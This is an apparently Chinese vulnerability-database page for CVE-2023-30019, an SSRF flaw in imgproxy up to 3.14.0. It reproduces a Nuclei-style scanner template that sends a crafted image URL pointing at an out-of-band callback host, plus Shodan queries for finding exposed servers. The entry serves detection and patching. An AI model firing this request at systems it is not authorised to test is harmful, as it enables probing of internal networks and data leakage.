CVE-2023-30019: Imgproxy <= 3.14.0 - Server-side request forgery (SSRF)

日期: 2025-08-01 | 影响软件: Imgproxy | POC: 已公开

漏洞描述

imgproxy <=3.14.0 is vulnerable to Server-Side Request Forgery (SSRF) due to a lack of sanitization of the imageURL parameter.

PoC代码[已公开]

id: CVE-2023-30019

info:
  name: Imgproxy <= 3.14.0 - Server-side request forgery (SSRF)
  author: DhiyaneshDK
  severity: medium
  description: |
    imgproxy <=3.14.0 is vulnerable to Server-Side Request Forgery (SSRF) due to a lack of sanitization of the imageURL parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
  remediation: |
    Upgrade to a version of Imgproxy that is not affected by this vulnerability.
  reference:
    - https://breakandpray.com/cve-2023-30019-ssrf-in-imgproxy/
    - https://github.com/imgproxy/imgproxy
    - https://github.com/j4k0m/godkiller
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-30019
    cwe-id: CWE-918
    epss-score: 0.4987
    epss-percentile: 0.97748
    cpe: cpe:2.3:a:evilmartians:imgproxy:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: evilmartians
    product: imgproxy
    shodan-query:
      - "Server: imgproxy"
      - "server: imgproxy"
  tags: cve,cve2023,imgproxy,ssrf,oast,evilmartians

http:
  - method: GET
    path:
      - "{{BaseURL}}/111/rs:fit:400:400:0:0/plain/http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - Invalid source image

      - type: status
        status:
          - 422
# digest: 490a00463044022079a01e1c6bc213602674b32bf19cb89bcca2924b95ec76ed4860843dee7b04c9022053b40a9af7fdaaa58a130a1619619460c9282d3e731f8e3f73d02367421b2714:922c64590222798bb761d5b6d8e72950

相关漏洞推荐